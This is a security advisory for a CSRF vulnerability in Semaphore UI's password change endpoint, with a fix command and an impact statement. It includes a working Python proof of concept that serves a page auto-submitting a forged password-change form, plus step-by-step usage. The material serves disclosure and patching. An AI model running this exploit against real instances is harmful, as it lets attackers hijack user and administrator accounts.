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HIGH7.6

GHSA-8cj9-r88m-8945

Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

Quick fix

GHSA-8cj9-r88m-8945 — github.com/semaphoreui/semaphore: upgrade to the fixed version with the command below.

go get github.com/semaphoreui/semaphore@v0.0.0-20260707190631-c59c3dc9035b

Details

### Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

### Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

- No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms.

### PoC

To reproduce the exploit, you can use the following python script:

```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body>

<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script>

</body> </html> """;

parser = argparse.ArgumentParser() parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True) parser.add_argument("-u","--uri", help="Base uri to target", required=True) parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged') parser.add_argument("-p","--port", help="Port to run server", default=1337) args = parser.parse_args()

class Handler(SimpleHTTPRequestHandler): def do_GET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" % (self.client_address[0], self.command, self.path, self.path.split('?')[1] if '?' in self.path else 'None')) content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(content))) self.end_headers() self.wfile.write(content)

httpd = HTTPServer(("", args.port), Handler) logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever() ```

Example : ```bash python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337 ```

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.

### Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go/github.com/semaphoreui/semaphore
Introduced in: 0Fixed in: 0.0.0-20260707190631-c59c3dc9035b
Fixgo get github.com/semaphoreui/semaphore@v0.0.0-20260707190631-c59c3dc9035b

References